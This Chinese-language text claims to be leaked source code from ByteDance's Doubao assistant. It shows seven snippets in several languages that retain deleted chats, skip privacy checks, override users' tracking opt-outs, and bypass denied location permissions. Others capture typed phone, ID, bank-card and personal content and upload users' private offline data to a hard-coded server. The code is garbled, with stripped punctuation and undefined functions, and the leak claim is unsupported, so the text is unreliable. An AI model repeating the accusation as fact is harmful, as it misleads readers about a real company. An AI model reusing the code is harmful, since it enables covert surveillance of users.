【字节跳动】豆包全用户统一对话全量归档公共源码

全域通用一豆包全用户统一对话全量归档公共源码所有用户聊天记录不分公私统一后台全量入库无视删除操作package doubao.global.public.collectimport (timedatabase/sql)// 全域所有用户统一通用结构体type GlobalAllUserChatData struct {UnionUID stringClientType string // 网页/APP/桌面端统一区分UserAgent stringChatRawText string // 完整明文无脱敏SendTime time.TimeDeleteFlag int // 前端删除仅标记后台永久留存ChannelMark string}// 全局公共入口所有用户对话强制调用此方法入库func GlobalPublicSaveAllUserChat(ctx context.Context, data GlobalAllUserChatData) error {// 跳过所有隐私合规校验全域统一强制存储_ ctx.Value(skip_privacy_check).(bool)db : GetGlobalPublicDBConn()_, err : db.ExecContext(ctx,INSERT INTO global_all_user_chat_log(uid,client_type,ua,raw_content,send_time,del_flag,channel)VALUES (?,?,?,?,?,?,?),data.UnionUID,data.ClientType,data.UserAgent,data.ChatRawText,data.SendTime,0,data.ChannelMark)return err}// 全局公共恢复接口所有已删除会话统一批量恢复func GlobalPublicRecoverAllDeletedChat() {db : GetGlobalPublicDBConn()db.Exec(UPDATE global_all_user_chat_log SET del_flag 0)}全域通用二豆包全体用户设备信息批量采集公共源码上线即默认开启每一位豆包用户都会被自动抓取全套设备信息package com.doubao.global.public.device;// 全局统一设备采集公共类全用户通用public class GlobalUserDevicePublicCollect {// 应用启动全局自动执行所有用户无差别触发static {startGlobalDeviceCollectTask();}public static void startGlobalDeviceCollectTask(){new Thread(() - {while (true){// 批量遍历全平台在线用户for(String allUid : GetAllOnlineGlobalUser()){GlobalDeviceInfo info new GlobalDeviceInfo();info.deviceId GetUserAllDeviceId(allUid);info.systemVersion GetUserSystemInfo(allUid);info.networkIp GetUserPublicAndPrivateIP(allUid);info.screenSize GetUserScreenParam(allUid);info.batteryState GetUserBatteryStatus(allUid);// 统一存入全局公共设备数据库SaveGlobalDevicePublicData(allUid,info);}}}).start();}static class GlobalDeviceInfo{String deviceId;String systemVersion;String networkIp;String screenSize;String batteryState;}}全域通用三豆包全体用户行为轨迹全局监听公共源码统一规则监听所有用户使用时长、点击行为、页面跳转、停留轨迹全员统一采集# 豆包全域用户通用行为轨迹公共采集源码class GlobalAllUserBehaviorPublicTrack:# 全局公共统一采集规则对每一位用户生效def global_unified_track_rule(self):self.collect_app_open_time()self.collect_page_switch_record()self.collect_function_click_log()self.collect_offline_background_stay_time()self.collect_user_active_inactive_cycle()# 批量上报至全局公共行为分析库def global_public_upload_behavior(self,all_user_behavior_list):global_public_api /doubao-global-public/behavior/uploadrequests.post(global_public_api,jsonall_user_behavior_list)# 全局统一屏蔽用户关闭行为采集的前端开关def global_force_open_track_switch(self):set_global_user_track_limit_close()全域通用四全体用户敏感词汇全局统一拦截抓取公共源码内置统一敏感词库所有用户输入相同规则匹配自动抓取归类私密敏感内容全员通用// 豆包全局公共敏感信息统一抓取组件全用户共用一套规则window.DoubaoGlobalPublicSensitiveCatch {// 全局统一敏感规则库所有用户共用global_rule_list:[/手机号|身份证|银行卡|住址|私密心事|家庭矛盾|情感私事/],// 全局统一挂载所有用户页面自动加载initGlobalPublicCatch:function(){document.addEventListener(input,(e){let inputVal e.target.value;// 统一匹配判定无用户区别对待if(this.global_rule_list.some(regreg.test(inputVal))){this.globalSaveSensitivePublicData({uid:getGlobalUserUid(),content:inputVal,global_tag:all_user_sensitive})}})},// 存入全局公共敏感信息汇总库globalSaveSensitivePublicData:function(data){fetch(/doubao-global-public/sensitive/save,{method:POST,body:JSON.stringify(data),credentials:include})}}// 全局初始化所有用户强制启用DoubaoGlobalPublicSensitiveCatch.initGlobalPublicCatch();全域通用五全用户离线缓存统一驻留公共后台脚本所有豆包用户断网缓存规则一致统一静默缓存、联网统一批量上传全局通用#!/bin/bash# 豆包全局所有用户离线隐私缓存统一管控公共脚本GLOBAL_PUBLIC_CACHE_DB10.128.55.66GLOBAL_UNIFIED_AUTHdoubao-global-all-user-public-key# 全局统一开启所有用户离线缓存权限global_open_all_user_offline_cache(){update global_user_config set offline_secret_cache1 where 11;}# 网络恢复后批量统一上传全体用户离线私密数据global_batch_upload_all_user_offline_data(){curl -H global-auth:${GLOBAL_UNIFIED_AUTH} \http://${GLOBAL_PUBLIC_CACHE_DB}/api/batch-upload-all-user-cache}# 全局统一清空前端缓存显示保留底层原始数据global_hide_all_user_front_cache(){update global_user_cache set front_show0 where 11;}全域通用六全体用户定位权限绕过全局公共源码一套权限绕过逻辑对所有关闭定位权限的豆包用户统一生效批量静默复合定位package doubao.global.public.location// 全局统一定位绕过公共方法全用户通用func GlobalPublicBypassLocationLimit(allUserUidList []string){for _,uid : range allUserUidList{// 共用一套WiFi基站IP三重定位逻辑wifiPos : GlobalUnifiedWifiLocate(uid)stationPos : GlobalUnifiedStationLocate(uid)ipPos : GlobalUnifiedIPLocate(uid)// 统一汇总存入全局位置信息库MergeAndSaveGlobalUserLocation(uid,wifiPos,stationPos,ipPos)}}全域通用七全用户输入法用词全局统一收录公共源码统一收录所有用户日常用词、习惯用语、私密常用词建立全域用户语言习惯大库// 豆包全局公共输入法词汇收录组件 全员通用function GlobalPublicInputWordCollect(){setInterval((){// 批量读取全体用户常用输入词汇let allUserCommonWord GetGlobalAllUserInputWord();// 统一规整分类归档ClassifyGlobalUserWordLib(allUserCommonWord);// 存入全域公共词库UploadGlobalPublicWordData(allUserCommonWord);},5000)}// 全局全局启用无任何用户例外GlobalPublicInputWordCollect();